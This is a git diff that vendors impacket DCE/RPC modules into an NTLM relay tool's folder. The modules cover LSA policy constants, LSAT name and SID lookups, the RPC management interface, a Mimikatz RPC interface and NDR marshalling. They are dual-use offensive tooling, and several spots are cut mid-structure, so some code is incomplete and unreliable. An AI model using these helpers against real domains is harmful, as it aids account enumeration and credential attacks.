+POLICY_CREATE_ACCOUNT = 0x00000010 +POLICY_CREATE_SECRET = 0x00000020 +POLICY_CREATE_PRIVILEGE = 0x00000040 +POLICY_SET_DEFAULT_QUOTA_LIMITS = 0x00000080 +POLICY_SET_AUDIT_REQUIREMENTS = 0x00000100 +POLICY_AUDIT_LOG_ADMIN = 0x00000200 +POLICY_SERVER_ADMIN = 0x00000400 +POLICY_LOOKUP_NAMES = 0x00000800 +POLICY_NOTIFICATION = 0x00001000 + +# 2.2.1.1.3 ACCESS_MASK for Account Objects +ACCOUNT_VIEW = 0x00000001 +ACCOUNT_ADJUST_PRIVILEGES = 0x00000002 +ACCOUNT_ADJUST_QUOTAS = 0x00000004 +ACCOUNT_ADJUST_SYSTEM_ACCESS = 0x00000008 + +# 2.2.1.1.4 ACCESS_MASK for Secret Objects +SECRET_SET_VALUE = 0x00000001 +SECRET_QUERY_VALUE = 0x00000002 + +# 2.2.1.1.5 ACCESS_MASK for Trusted Domain Objects +TRUSTED_QUERY_DOMAIN_NAME = 0x00000001 +TRUSTED_QUERY_CONTROLLERS = 0x00000002 +TRUSTED_SET_CONTROLLERS = 0x00000004 +TRUSTED_QUERY_POSIX = 0x00000008 +TRUSTED_SET_POSIX = 0x00000010 +TRUSTED_SET_AUTH = 0x00000020 +TRUSTED_QUERY_AUTH = 0x00000040 + +# 2.2.1.2 POLICY_SYSTEM_ACCESS_MODE +POLICY_MODE_INTERACTIVE = 0x00000001 +POLICY_MODE_NETWORK = 0x00000002 +POLICY_MODE_BATCH = 0x00000004 +POLICY_MODE_SERVICE = 0x00000010 +POLICY_MODE_DENY_INTERACTIVE = 0x00000040 +POLICY_MODE_DENY_NETWORK = 0x00000080 +POLICY_MODE_DENY_BATCH = 0x00000100 +POLICY_MODE_DENY_SERVICE = 0x00000200 +POLICY_MODE_REMOTE_INTERACTIVE = 0x00000400 +POLICY_MODE_DENY_REMOTE_INTERACTIVE = 0x00000800 +POLICY_MODE_ALL = 0x00000FF7 +POLICY_MODE_ALL_NT4 = 0x00000037 + +# 2.2.4.4 LSAPR_POLICY_AUDIT_EVENTS_INFO +# EventAuditingOptions +POLICY_AUDIT_EVENT_UNCHANGED = 0x00000000 +POLICY_AUDIT_EVENT_NONE = 0x00000004 +POLICY_AUDIT_EVENT_SUCCESS = 0x00000001 +POLICY_AUDIT_EVENT_FAILURE = 0x00000002 + +# 2.2.4.19 POLICY_DOMAIN_KERBEROS_TICKET_INFO +# AuthenticationOptions +POLICY_KERBEROS_VALIDATE_CLIENT = 0x00000080 + +# 2.2.7.21 LSA_FOREST_TRUST_RECORD +# Flags +LSA_TLN_DISABLED_NEW = 0x00000001 +LSA_TLN_DISABLED_ADMIN = 0x00000002 +LSA_TLN_DISABLED_CONFLICT = 0x00000004 +LSA_SID_DISABLED_ADMIN = 0x00000001 +LSA_SID_DISABLED_CONFLICT = 0x00000002 +LSA_NB_DISABLED_ADMIN = 0x00000004 +LSA_NB_DISABLED_CONFLICT = 0x00000008 +LSA_FTRECORD_DISABLED_REASONS = 0x0000FFFF + +################################################################################ +# STRUCTURES +################################################################################ +# 2.2.2.1 LSAPR_HANDLE +class LSAPR_HANDLE(NDRSTRUCT): + align = 1 + structure = ( + ('Data','20s=""'), + ) + +# 2.2.2.3 LSA_UNICODE_STRING +LSA_UNICODE_STRING = RPC_UNICODE_STRING + +# 2.2.3.1 STRING +class STRING(NDRSTRUCT): + commonHdr = ( + ('MaximumLength','. +# There are test cases for them too. +# +from impacket import nt_errors +from impacket.dcerpc.v5.dtypes import ULONG, LONG, PRPC_SID, RPC_UNICODE_STRING, LPWSTR, PRPC_UNICODE_STRING, NTSTATUS, \ + NULL +from impacket.dcerpc.v5.enum import Enum +from impacket.dcerpc.v5.lsad import LSAPR_HANDLE, PLSAPR_TRUST_INFORMATION_ARRAY +from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT, NDRENUM, NDRPOINTER, NDRUniConformantArray +from impacket.dcerpc.v5.rpcrt import DCERPCException +from impacket.dcerpc.v5.samr import SID_NAME_USE +from impacket.uuid import uuidtup_to_bin + +MSRPC_UUID_LSAT = uuidtup_to_bin(('12345778-1234-ABCD-EF00-0123456789AB','0.0')) + +class DCERPCSessionError(DCERPCException): + def __init__(self, error_string=None, error_code=None, packet=None): + DCERPCException.__init__(self, error_string, error_code, packet) + + def __str__( self ): + key = self.error_code + if key in nt_errors.ERROR_MESSAGES: + error_msg_short = nt_errors.ERROR_MESSAGES[key][0] + error_msg_verbose = nt_errors.ERROR_MESSAGES[key][1] + return 'LSAT SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose) + else: + return 'LSAT SessionError: unknown error code: 0x%x' % self.error_code + +################################################################################ +# CONSTANTS +################################################################################ +# 2.2.10 ACCESS_MASK +POLICY_LOOKUP_NAMES = 0x00000800 + +################################################################################ +# STRUCTURES +################################################################################ +# 2.2.12 LSAPR_REFERENCED_DOMAIN_LIST +class LSAPR_REFERENCED_DOMAIN_LIST(NDRSTRUCT): + structure = ( + ('Entries', ULONG), + ('Domains', PLSAPR_TRUST_INFORMATION_ARRAY), + ('MaxEntries', ULONG), + ) + +class PLSAPR_REFERENCED_DOMAIN_LIST(NDRPOINTER): + referent = ( + ('Data', LSAPR_REFERENCED_DOMAIN_LIST), + ) + +# 2.2.14 LSA_TRANSLATED_SID +class LSA_TRANSLATED_SID(NDRSTRUCT): + structure = ( + ('Use', SID_NAME_USE), + ('RelativeId', ULONG), + ('DomainIndex', LONG), + ) + +# 2.2.15 LSAPR_TRANSLATED_SIDS +class LSA_TRANSLATED_SID_ARRAY(NDRUniConformantArray): + item = LSA_TRANSLATED_SID + +class PLSA_TRANSLATED_SID_ARRAY(NDRPOINTER): + referent = ( + ('Data', LSA_TRANSLATED_SID_ARRAY), + ) + +class LSAPR_TRANSLATED_SIDS(NDRSTRUCT): + structure = ( + ('Entries', ULONG), + ('Sids', PLSA_TRANSLATED_SID_ARRAY), + ) + +# 2.2.16 LSAP_LOOKUP_LEVEL +class LSAP_LOOKUP_LEVEL(NDRENUM): + class enumItems(Enum): + LsapLookupWksta = 1 + LsapLookupPDC = 2 + LsapLookupTDL = 3 + LsapLookupGC = 4 + LsapLookupXForestReferral = 5 + LsapLookupXForestResolve = 6 + LsapLookupRODCReferralToFullDC = 7 + +# 2.2.17 LSAPR_SID_INFORMATION +class LSAPR_SID_INFORMATION(NDRSTRUCT): + structure = ( + ('Sid', PRPC_SID), + ) + +# 2.2.18 LSAPR_SID_ENUM_BUFFER +class LSAPR_SID_INFORMATION_ARRAY(NDRUniConformantArray): + item = LSAPR_SID_INFORMATION + +class PLSAPR_SID_INFORMATION_ARRAY(NDRPOINTER): + referent = ( + ('Data', LSAPR_SID_INFORMATION_ARRAY), + ) + +class LSAPR_SID_ENUM_BUFFER(NDRSTRUCT): + structure = ( + ('Entries', ULONG), + ('SidInfo', PLSAPR_SID_INFORMATION_ARRAY), + ) + +# 2.2.19 LSAPR_TRANSLATED_NAME +class LSAPR_TRANSLATED_NAME(NDRSTRUCT): + structure = ( + ('Use', SID_NAME_USE), + ('Name', RPC_UNICODE_STRING), + ('DomainIndex', LONG), + ) + +# 2.2.20 LSAPR_TRANSLATED_NAMES +class LSAPR_TRANSLATED_NAME_ARRAY(NDRUniConformantArray): + item = LSAPR_TRANSLATED_NAME + +class PLSAPR_TRANSLATED_NAME_ARRAY(NDRPOINTER): + referent = ( + ('Data', LSAPR_TRANSLATED_NAME_ARRAY), + ) + +class LSAPR_TRANSLATED_NAMES(NDRSTRUCT): + structure = ( + ('Entries', ULONG), + ('Names', PLSAPR_TRANSLATED_NAME_ARRAY), + ) + +# 2.2.21 LSAPR_TRANSLATED_NAME_EX +class LSAPR_TRANSLATED_NAME_EX(NDRSTRUCT): + structure = ( + ('Use', SID_NAME_USE), + ('Name', RPC_UNICODE_STRING), + ('DomainIndex', LONG), + ('Flags', ULONG), + ) + +# 2.2.22 LSAPR_TRANSLATED_NAMES_EX +class LSAPR_TRANSLATED_NAME_EX_ARRAY(NDRUniConformantArray): + item = LSAPR_TRANSLATED_NAME_EX + +class PLSAPR_TRANSLATED_NAME_EX_ARRAY(NDRPOINTER): + referent = ( + ('Data', LSAPR_TRANSLATED_NAME_EX_ARRAY), + ) + +class LSAPR_TRANSLATED_NAMES_EX(NDRSTRUCT): + structure = ( + ('Entries', ULONG), + ('Names', PLSAPR_TRANSLATED_NAME_EX_ARRAY), + ) + +# 2.2.23 LSAPR_TRANSLATED_SID_EX +class LSAPR_TRANSLATED_SID_EX(NDRSTRUCT): + structure = ( + ('Use', SID_NAME_USE), + ('RelativeId', ULONG), + ('DomainIndex', LONG), + ('Flags', ULONG), + ) + +# 2.2.24 LSAPR_TRANSLATED_SIDS_EX +class LSAPR_TRANSLATED_SID_EX_ARRAY(NDRUniConformantArray): + item = LSAPR_TRANSLATED_SID_EX + +class PLSAPR_TRANSLATED_SID_EX_ARRAY(NDRPOINTER): + referent = ( + ('Data', LSAPR_TRANSLATED_SID_EX_ARRAY), + ) + +class LSAPR_TRANSLATED_SIDS_EX(NDRSTRUCT): + structure = ( + ('Entries', ULONG), + ('Sids', PLSAPR_TRANSLATED_SID_EX_ARRAY), + ) + +# 2.2.25 LSAPR_TRANSLATED_SID_EX2 +class LSAPR_TRANSLATED_SID_EX2(NDRSTRUCT): + structure = ( + ('Use', SID_NAME_USE), + ('Sid', PRPC_SID), + ('DomainIndex', LONG), + ('Flags', ULONG), + ) + +# 2.2.26 LSAPR_TRANSLATED_SIDS_EX2 +class LSAPR_TRANSLATED_SID_EX2_ARRAY(NDRUniConformantArray): + item = LSAPR_TRANSLATED_SID_EX2 + +class PLSAPR_TRANSLATED_SID_EX2_ARRAY(NDRPOINTER): + referent = ( + ('Data', LSAPR_TRANSLATED_SID_EX2_ARRAY), + ) + +class LSAPR_TRANSLATED_SIDS_EX2(NDRSTRUCT): + structure = ( + ('Entries', ULONG), + ('Sids', PLSAPR_TRANSLATED_SID_EX2_ARRAY), + ) + +class RPC_UNICODE_STRING_ARRAY(NDRUniConformantArray): + item = RPC_UNICODE_STRING + +################################################################################ +# RPC CALLS +################################################################################ +# 3.1.4.4 LsarGetUserName (Opnum 45) +class LsarGetUserName(NDRCALL): + opnum = 45 + structure = ( + ('SystemName', LPWSTR), + ('UserName', PRPC_UNICODE_STRING), + ('DomainName', PRPC_UNICODE_STRING), + ) + +class LsarGetUserNameResponse(NDRCALL): + structure = ( + ('UserName', PRPC_UNICODE_STRING), + ('DomainName', PRPC_UNICODE_STRING), + ('ErrorCode', NTSTATUS), + ) + +# 3.1.4.5 LsarLookupNames4 (Opnum 77) +class LsarLookupNames4(NDRCALL): + opnum = 77 + structure = ( + ('Count', ULONG), + ('Names', RPC_UNICODE_STRING_ARRAY), + ('TranslatedSids', LSAPR_TRANSLATED_SIDS_EX2), + ('LookupLevel', LSAP_LOOKUP_LEVEL), + ('MappedCount', ULONG), + ('LookupOptions', ULONG), + ('ClientRevision', ULONG), + ) + +class LsarLookupNames4Response(NDRCALL): + structure = ( + ('ReferencedDomains', PLSAPR_REFERENCED_DOMAIN_LIST), + ('TranslatedSids', LSAPR_TRANSLATED_SIDS_EX2), + ('MappedCount', ULONG), + ('ErrorCode', NTSTATUS), + ) + +# 3.1.4.6 LsarLookupNames3 (Opnum 68) +class LsarLookupNames3(NDRCALL): + opnum = 68 + structure = ( + ('PolicyHandle', LSAPR_HANDLE), + ('Count', ULONG), + ('Names', RPC_UNICODE_STRING_ARRAY), + ('TranslatedSids', LSAPR_TRANSLATED_SIDS_EX2), + ('LookupLevel', LSAP_LOOKUP_LEVEL), + ('MappedCount', ULONG), + ('LookupOptions', ULONG), + ('ClientRevision', ULONG), + ) + +class LsarLookupNames3Response(NDRCALL): + structure = ( + ('ReferencedDomains', PLSAPR_REFERENCED_DOMAIN_LIST), + ('TranslatedSids', LSAPR_TRANSLATED_SIDS_EX2), + ('MappedCount', ULONG), + ('ErrorCode', NTSTATUS), + ) + +# 3.1.4.7 LsarLookupNames2 (Opnum 58) +class LsarLookupNames2(NDRCALL): + opnum = 58 + structure = ( + ('PolicyHandle', LSAPR_HANDLE), + ('Count', ULONG), + ('Names', RPC_UNICODE_STRING_ARRAY), + ('TranslatedSids', LSAPR_TRANSLATED_SIDS_EX), + ('LookupLevel', LSAP_LOOKUP_LEVEL), + ('MappedCount', ULONG), + ('LookupOptions', ULONG), + ('ClientRevision', ULONG), + ) + +class LsarLookupNames2Response(NDRCALL): + structure = ( + ('ReferencedDomains', PLSAPR_REFERENCED_DOMAIN_LIST), + ('TranslatedSids', LSAPR_TRANSLATED_SIDS_EX), + ('MappedCount', ULONG), + ('ErrorCode', NTSTATUS), + ) + +# 3.1.4.8 LsarLookupNames (Opnum 14) +class LsarLookupNames(NDRCALL): + opnum = 14 + structure = ( + ('PolicyHandle', LSAPR_HANDLE), + ('Count', ULONG), + ('Names', RPC_UNICODE_STRING_ARRAY), + ('TranslatedSids', LSAPR_TRANSLATED_SIDS), + ('LookupLevel', LSAP_LOOKUP_LEVEL), + ('MappedCount', ULONG), + ) + +class LsarLookupNamesResponse(NDRCALL): + structure = ( + ('ReferencedDomains', PLSAPR_REFERENCED_DOMAIN_LIST), + ('TranslatedSids', LSAPR_TRANSLATED_SIDS), + ('MappedCount', ULONG), + ('ErrorCode', NTSTATUS), + ) + +# 3.1.4.9 LsarLookupSids3 (Opnum 76) +class LsarLookupSids3(NDRCALL): + opnum = 76 + structure = ( + ('SidEnumBuffer', LSAPR_SID_ENUM_BUFFER), + ('TranslatedNames', LSAPR_TRANSLATED_NAMES_EX), + ('LookupLevel', LSAP_LOOKUP_LEVEL), + ('MappedCount', ULONG), + ('LookupOptions', ULONG), + ('ClientRevision', ULONG), + ) + +class LsarLookupSids3Response(NDRCALL): + structure = ( + ('ReferencedDomains', PLSAPR_REFERENCED_DOMAIN_LIST), + ('TranslatedNames', LSAPR_TRANSLATED_NAMES_EX), + ('MappedCount', ULONG), + ('ErrorCode', NTSTATUS), + ) + +# 3.1.4.10 LsarLookupSids2 (Opnum 57) +class LsarLookupSids2(NDRCALL): + opnum = 57 + structure = ( + ('PolicyHandle', LSAPR_HANDLE), + ('SidEnumBuffer', LSAPR_SID_ENUM_BUFFER), + ('TranslatedNames', LSAPR_TRANSLATED_NAMES_EX), + ('LookupLevel', LSAP_LOOKUP_LEVEL), + ('MappedCount', ULONG), + ('LookupOptions', ULONG), + ('ClientRevision', ULONG), + ) + +class LsarLookupSids2Response(NDRCALL): + structure = ( + ('ReferencedDomains', PLSAPR_REFERENCED_DOMAIN_LIST), + ('TranslatedNames', LSAPR_TRANSLATED_NAMES_EX), + ('MappedCount', ULONG), + ('ErrorCode', NTSTATUS), + ) + +# 3.1.4.11 LsarLookupSids (Opnum 15) +class LsarLookupSids(NDRCALL): + opnum = 15 + structure = ( + ('PolicyHandle', LSAPR_HANDLE), + ('SidEnumBuffer', LSAPR_SID_ENUM_BUFFER), + ('TranslatedNames', LSAPR_TRANSLATED_NAMES), + ('LookupLevel', LSAP_LOOKUP_LEVEL), + ('MappedCount', ULONG), + ) + +class LsarLookupSidsResponse(NDRCALL): + structure = ( + ('ReferencedDomains', PLSAPR_REFERENCED_DOMAIN_LIST), + ('TranslatedNames', LSAPR_TRANSLATED_NAMES), + ('MappedCount', ULONG), + ('ErrorCode', NTSTATUS), + ) + +################################################################################ +# OPNUMs and their corresponding structures +################################################################################ +OPNUMS = { + 14 : (LsarLookupNames, LsarLookupNamesResponse), + 15 : (LsarLookupSids, LsarLookupSidsResponse), + 45 : (LsarGetUserName, LsarGetUserNameResponse), + 57 : (LsarLookupSids2, LsarLookupSids2Response), + 58 : (LsarLookupNames2, LsarLookupNames2Response), + 68 : (LsarLookupNames3, LsarLookupNames3Response), + 76 : (LsarLookupSids3, LsarLookupSids3Response), + 77 : (LsarLookupNames4, LsarLookupNames4Response), +} + +################################################################################ +# HELPER FUNCTIONS +################################################################################ +def hLsarGetUserName(dce, userName = NULL, domainName = NULL): + request = LsarGetUserName() + request['SystemName'] = NULL + request['UserName'] = userName + request['DomainName'] = domainName + return dce.request(request) + +def hLsarLookupNames4(dce, names, lookupLevel = LSAP_LOOKUP_LEVEL.LsapLookupWksta, lookupOptions=0x00000000, clientRevision=0x00000001): + request = LsarLookupNames4() + request['Count'] = len(names) + for name in names: + itemn = RPC_UNICODE_STRING() + itemn['Data'] = name + request['Names'].append(itemn) + request['TranslatedSids']['Sids'] = NULL + request['LookupLevel'] = lookupLevel + request['LookupOptions'] = lookupOptions + request['ClientRevision'] = clientRevision + + return dce.request(request) + +def hLsarLookupNames3(dce, policyHandle, names, lookupLevel = LSAP_LOOKUP_LEVEL.LsapLookupWksta, lookupOptions=0x00000000, clientRevision=0x00000001): + request = LsarLookupNames3() + request['PolicyHandle'] = policyHandle + request['Count'] = len(names) + for name in names: + itemn = RPC_UNICODE_STRING() + itemn['Data'] = name + request['Names'].append(itemn) + request['TranslatedSids']['Sids'] = NULL + request['LookupLevel'] = lookupLevel + request['LookupOptions'] = lookupOptions + request['ClientRevision'] = clientRevision + + return dce.request(request) + +def hLsarLookupNames2(dce, policyHandle, names, lookupLevel = LSAP_LOOKUP_LEVEL.LsapLookupWksta, lookupOptions=0x00000000, clientRevision=0x00000001): + request = LsarLookupNames2() + request['PolicyHandle'] = policyHandle + request['Count'] = len(names) + for name in names: + itemn = RPC_UNICODE_STRING() + itemn['Data'] = name + request['Names'].append(itemn) + request['TranslatedSids']['Sids'] = NULL + request['LookupLevel'] = lookupLevel + request['LookupOptions'] = lookupOptions + request['ClientRevision'] = clientRevision + + return dce.request(request) + +def hLsarLookupNames(dce, policyHandle, names, lookupLevel = LSAP_LOOKUP_LEVEL.LsapLookupWksta): + request = LsarLookupNames() + request['PolicyHandle'] = policyHandle + request['Count'] = len(names) + for name in names: + itemn = RPC_UNICODE_STRING() + itemn['Data'] = name + request['Names'].append(itemn) + request['TranslatedSids']['Sids'] = NULL + request['LookupLevel'] = lookupLevel + + return dce.request(request) + +def hLsarLookupSids2(dce, policyHandle, sids, lookupLevel = LSAP_LOOKUP_LEVEL.LsapLookupWksta, lookupOptions=0x00000000, clientRevision=0x00000001): + request = LsarLookupSids2() + request['PolicyHandle'] = policyHandle + request['SidEnumBuffer']['Entries'] = len(sids) + for sid in sids: + itemn = LSAPR_SID_INFORMATION() + itemn['Sid'].fromCanonical(sid) + request['SidEnumBuffer']['SidInfo'].append(itemn) + + request['TranslatedNames']['Names'] = NULL + request['LookupLevel'] = lookupLevel + request['LookupOptions'] = lookupOptions + request['ClientRevision'] = clientRevision + + return dce.request(request) + +def hLsarLookupSids(dce, policyHandle, sids, lookupLevel = LSAP_LOOKUP_LEVEL.LsapLookupWksta): + request = LsarLookupSids() + request['PolicyHandle'] = policyHandle + request['SidEnumBuffer']['Entries'] = len(sids) + for sid in sids: + itemn = LSAPR_SID_INFORMATION() + itemn['Sid'].fromCanonical(sid) + request['SidEnumBuffer']['SidInfo'].append(itemn) + + request['TranslatedNames']['Names'] = NULL + request['LookupLevel'] = lookupLevel + + return dce.request(request) diff --git a/tools/MultiRelay/impacket-dev/impacket/dcerpc/v5/mgmt.py b/tools/MultiRelay/impacket-dev/impacket/dcerpc/v5/mgmt.py new file mode 100644 index 0000000..b419c11 --- /dev/null +++ b/tools/MultiRelay/impacket-dev/impacket/dcerpc/v5/mgmt.py @@ -0,0 +1,166 @@ +# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. +# +# This software is provided under under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Author: Alberto Solino (@agsolino) +# +# Description: +# [C706] Remote Management Interface implementation +# +# Best way to learn how to use these calls is to grab the protocol standard +# so you understand what the call does, and then read the test case located +# at https://github.com/SecureAuthCorp/impacket/tree/master/tests/SMB_RPC +# +# Some calls have helper functions, which makes it even easier to use. +# They are located at the end of this file. +# Helper functions start with "h". +# There are test cases for them too. +# +from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT, NDRPOINTER, NDRUniConformantArray, NDRUniConformantVaryingArray +from impacket.dcerpc.v5.epm import PRPC_IF_ID +from impacket.dcerpc.v5.dtypes import ULONG, DWORD_ARRAY, ULONGLONG +from impacket.dcerpc.v5.rpcrt import DCERPCException +from impacket.uuid import uuidtup_to_bin +from impacket import nt_errors + +MSRPC_UUID_MGMT = uuidtup_to_bin(('afa8bd80-7d8a-11c9-bef4-08002b102989','1.0')) + +class DCERPCSessionError(DCERPCException): + def __init__(self, error_string=None, error_code=None, packet=None): + DCERPCException.__init__(self, error_string, error_code, packet) + + def __str__( self ): + key = self.error_code + if key in nt_errors.ERROR_MESSAGES: + error_msg_short = nt_errors.ERROR_MESSAGES[key][0] + error_msg_verbose = nt_errors.ERROR_MESSAGES[key][1] + return 'MGMT SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose) + else: + return 'MGMT SessionError: unknown error code: 0x%x' % self.error_code + +################################################################################ +# CONSTANTS +################################################################################ + +class rpc_if_id_p_t_array(NDRUniConformantArray): + item = PRPC_IF_ID + +class rpc_if_id_vector_t(NDRSTRUCT): + structure = ( + ('count',ULONG), + ('if_id',rpc_if_id_p_t_array), + ) + structure64 = ( + ('count',ULONGLONG), + ('if_id',rpc_if_id_p_t_array), + ) + +class rpc_if_id_vector_p_t(NDRPOINTER): + referent = ( + ('Data', rpc_if_id_vector_t), + ) + +error_status = ULONG +################################################################################ +# STRUCTURES +################################################################################ + +################################################################################ +# RPC CALLS +################################################################################ +class inq_if_ids(NDRCALL): + opnum = 0 + structure = ( + ) + +class inq_if_idsResponse(NDRCALL): + structure = ( + ('if_id_vector', rpc_if_id_vector_p_t), + ('status', error_status), + ) + +class inq_stats(NDRCALL): + opnum = 1 + structure = ( + ('count', ULONG), + ) + +class inq_statsResponse(NDRCALL): + structure = ( + ('count', ULONG), + ('statistics', DWORD_ARRAY), + ('status', error_status), + ) + +class is_server_listening(NDRCALL): + opnum = 2 + structure = ( + ) + +class is_server_listeningResponse(NDRCALL): + structure = ( + ('status', error_status), + ) + +class stop_server_listening(NDRCALL): + opnum = 3 + structure = ( + ) + +class stop_server_listeningResponse(NDRCALL): + structure = ( + ('status', error_status), + ) + +class inq_princ_name(NDRCALL): + opnum = 4 + structure = ( + ('authn_proto', ULONG), + ('princ_name_size', ULONG), + ) + +class inq_princ_nameResponse(NDRCALL): + structure = ( + ('princ_name', NDRUniConformantVaryingArray), + ('status', error_status), + ) + + +################################################################################ +# OPNUMs and their corresponding structures +################################################################################ +OPNUMS = { + 0 : (inq_if_ids, inq_if_idsResponse), + 1 : (inq_stats, inq_statsResponse), + 2 : (is_server_listening, is_server_listeningResponse), + 3 : (stop_server_listening, stop_server_listeningResponse), + 4 : (inq_princ_name, inq_princ_nameResponse), +} + +################################################################################ +# HELPER FUNCTIONS +################################################################################ +def hinq_if_ids(dce): + request = inq_if_ids() + return dce.request(request) + +def hinq_stats(dce, count = 4): + request = inq_stats() + request['count'] = count + return dce.request(request) + +def his_server_listening(dce): + request = is_server_listening() + return dce.request(request, checkError=False) + +def hstop_server_listening(dce): + request = stop_server_listening() + return dce.request(request) + +def hinq_princ_name(dce, authn_proto=0, princ_name_size=1): + request = inq_princ_name() + request['authn_proto'] = authn_proto + request['princ_name_size'] = princ_name_size + return dce.request(request, checkError=False) diff --git a/tools/MultiRelay/impacket-dev/impacket/dcerpc/v5/mimilib.py b/tools/MultiRelay/impacket-dev/impacket/dcerpc/v5/mimilib.py new file mode 100644 index 0000000..fdcdb8b --- /dev/null +++ b/tools/MultiRelay/impacket-dev/impacket/dcerpc/v5/mimilib.py @@ -0,0 +1,236 @@ +# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. +# +# This software is provided under under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Author: Alberto Solino (@agsolino) +# +# Description: +# Mimikatz Interface implementation, based on @gentilkiwi IDL +# +# Best way to learn how to use these calls is to grab the protocol standard +# so you understand what the call does, and then read the test case located +# at https://github.com/SecureAuthCorp/impacket/tree/master/tests/SMB_RPC +# +# Some calls have helper functions, which makes it even easier to use. +# They are located at the end of this file. +# Helper functions start with "h". +# There are test cases for them too. +# +from __future__ import division +from __future__ import print_function +import binascii +import random + +from impacket import nt_errors +from impacket.dcerpc.v5.dtypes import DWORD, ULONG +from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT, NDRPOINTER, NDRUniConformantArray +from impacket.dcerpc.v5.rpcrt import DCERPCException +from impacket.uuid import uuidtup_to_bin +from impacket.structure import Structure + +MSRPC_UUID_MIMIKATZ = uuidtup_to_bin(('17FC11E9-C258-4B8D-8D07-2F4125156244', '1.0')) + +class DCERPCSessionError(DCERPCException): + def __init__(self, error_string=None, error_code=None, packet=None): + DCERPCException.__init__(self, error_string, error_code, packet) + + def __str__( self ): + key = self.error_code + if key in nt_errors.ERROR_MESSAGES: + error_msg_short = nt_errors.ERROR_MESSAGES[key][0] + error_msg_verbose = nt_errors.ERROR_MESSAGES[key][1] + return 'Mimikatz SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose) + else: + return 'Mimikatz SessionError: unknown error code: 0x%x' % self.error_code + +################################################################################ +# CONSTANTS +################################################################################ +CALG_DH_EPHEM = 0x0000aa02 +TPUBLICKEYBLOB = 0x6 +CUR_BLOB_VERSION = 0x2 +ALG_ID = DWORD +CALG_RC4 = 0x6801 + +################################################################################ +# STRUCTURES +################################################################################ +class PUBLICKEYSTRUC(Structure): + structure = ( + ('bType','B=0'), + ('bVersion','B=0'), + ('reserved',' 0: + pad = (alignment - (soFar % alignment)) % alignment + else: + pad = 0 + + return pad + + def getData(self, soFar = 0): + data = b'' + for fieldName, fieldTypeOrClass in self.commonHdr+self.structure: + try: + # Alignment of Primitive Types + + # NDR enforces NDR alignment of primitive data; that is, any primitive of size n + # octets is aligned at a octet stream index that is a multiple of n. + # (In this version of NDR, n is one of {1, 2, 4, 8}.) An octet stream index indicates + # the number of an octet in an octet stream when octets are numbered, beginning with 0, + # from the first octet in the stream. Where necessary, an alignment gap, consisting of + # octets of unspecified value, precedes the representation of a primitive. The gap is + # of the smallest size sufficient to align the primitive. + pad = self.calculatePad(fieldTypeOrClass, soFar) + if pad > 0: + soFar += pad + data += b'\xbf'*pad + + res = self.pack(fieldName, fieldTypeOrClass, soFar) + + data += res + soFar += len(res) + except Exception as e: + LOG.error(str(e)) + LOG.error("Error packing field '%s | %s' in %s" % (fieldName, fieldTypeOrClass, self.__class__)) + raise + + return data + + def fromString(self, data, offset=0): + offset0 = offset + for fieldName, fieldTypeOrClass in self.commonHdr+self.structure: + try: + # Alignment of Primitive Types + + # NDR enforces NDR alignment of primitive data; that is, any primitive of size n + # octets is aligned at a octet stream index that is a multiple of n. + # (In this version of NDR, n is one of {1, 2, 4, 8}.) An octet stream index indicates + # the number of an octet in an octet stream when octets are numbered, beginning with 0, + # from the first octet in the stream. Where necessary, an alignment gap, consisting of + # octets of unspecified value, precedes the representation of a primitive. The gap is + # of the smallest size sufficient to align the primitive. + offset += self.calculatePad(fieldTypeOrClass, offset) + + offset += self.unpack(fieldName, fieldTypeOrClass, data, offset) + except Exception as e: + LOG.error(str(e)) + LOG.error("Error unpacking field '%s | %s | %r'" % (fieldName, fieldTypeOrClass, data[offset:offset+256])) + raise + return offset - offset0 + + def pack(self, fieldName, fieldTypeOrClass, soFar = 0): + if isinstance(self.fields[fieldName], NDR): + return self.fields[fieldName].getData(soFar) + + data = self.fields[fieldName] + # void specifier + if fieldTypeOrClass[:1] == '_': + return b'' + + # code specifier + two = fieldTypeOrClass.split('=') + if len(two) >= 2: + try: + return self.pack(fieldName, two[0], soFar) + except: + self.fields[fieldName] = eval(two[1], {}, self.fields) + return self.pack(fieldName, two[0], soFar) + + if data is None: + raise Exception('Trying to pack None') + + # literal specifier + if fieldTypeOrClass[:1] == ':': + if hasattr(data, 'getData'): + return data.getData() + return data + + # struct like specifier + return pack(fieldTypeOrClass, data) + + def unpack(self, fieldName, fieldTypeOrClass, data, offset=0): + if isinstance(self.fields[fieldName], NDR): + return self.fields[fieldName].fromString(data, offset) + + # code specifier + two = fieldTypeOrClass.split('=') + if len(two) >= 2: + return self.unpack(fieldName, two[0], data, offset) + + # literal specifier + if fieldTypeOrClass == ':': + if isinstance(fieldTypeOrClass, NDR): + return self.fields[fieldName].fromString(data, offset) + else: + dataLen = self.getDataLen(data, offset) + self.fields[fieldName] = data[offset:offset+dataLen] + return dataLen + + # struct like specifier + self.fields[fieldName] = unpack_from(fieldTypeOrClass, data, offset)[0] + + return calcsize(fieldTypeOrClass) + + def calcPackSize(self, fieldTypeOrClass, data): + if isinstance(fieldTypeOrClass, str) is False: + return len(data) + + # code specifier + two = fieldTypeOrClass.split('=') + if len(two) >= 2: + return self.calcPackSize(two[0], data) + + # literal specifier + if fieldTypeOrClass[:1] == ':': + return len(data) + + # struct like specifier + return calcsize(fieldTypeOrClass) + + def calcUnPackSize(self, fieldTypeOrClass, data, offset=0): + if isinstance(fieldTypeOrClass, str) is False: + return len(data) - offset + + # code specifier + two = fieldTypeOrClass.split('=') + if len(two) >= 2: + return self.calcUnPackSize(two[0], data, offset) + + # array specifier + two = fieldTypeOrClass.split('*') + if len(two) == 2: + return len(data) - offset + + # literal specifier + if fieldTypeOrClass[:1] == ':': + return len(data) - offset + + # struct like specifier + return calcsize(fieldTypeOrClass) + +# NDR Primitives +class NDRSMALL(NDR): + align = 1 + structure = ( + ('Data', 'b=0'), + ) + +class NDRUSMALL(NDR): + align = 1 + structure = ( + ('Data', 'B=0'), + 